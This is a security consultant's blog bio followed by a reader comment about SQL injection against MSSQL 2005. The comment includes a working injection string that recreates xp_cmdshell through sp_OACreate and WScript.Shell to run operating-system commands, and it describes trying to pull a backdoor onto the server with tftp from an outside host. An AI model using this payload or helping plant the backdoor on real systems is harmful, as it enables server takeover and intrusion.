I am an Information Security addict with over 10 years of generalist experience with a concentration in offensive security. I am the founder of Sutrosec, a specialized security consulting company. Additionally, I helped co-found the security consulting company RedTeam Security, and have been the technical editor for multiple security books including both of the The Hackers Playbook’s. I am active in the security community and try to contribute as much as I can. Contributions include starting the DEF CON group dc414 and creating /r/hackbay to foster my local security communities . This is only my personal security scrapbook, my response to comments may be slow.



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  1. Daniel on July 5, 2012 at 6:52 pm said:


    Im Daniel from Spain, im conducting a pentest myself for my own recently started company.
    Firstly, congrats for your blog, i was looking for an article exactly like you published about sql inject and xp_cmdshell.

    I´ve recreated xp_cmdshell on a mssql 2005 ( with id=1;DECLARE @abc nvarchar(999); SET @abc=’CREATE PROCEDURE xp_cmdshell(@cmd varchar(255)) AS DECLARE @ID int EXEC sp_OACreate ”WScript.Shell”, @ID OUT EXEC sp_OAMethod @ID, ”Run”, Null, @cmd, 0, 1 EXEC sp_OADestroy @ID’; EXEC master..sp_executesql @abc;–)

    and can execute some commands like nslookup and save the sniffed output from mi box. ( tcpdump src host x.x.x.x )
    I´ve set up too a tftp server to upload a backdoor and own the server, but tftp seems not to be installed on the remote server and the command tftp -l … GET x.x.x.x are not working.

    Could you give me some clue on how to achieve this?

    Thanks in advance

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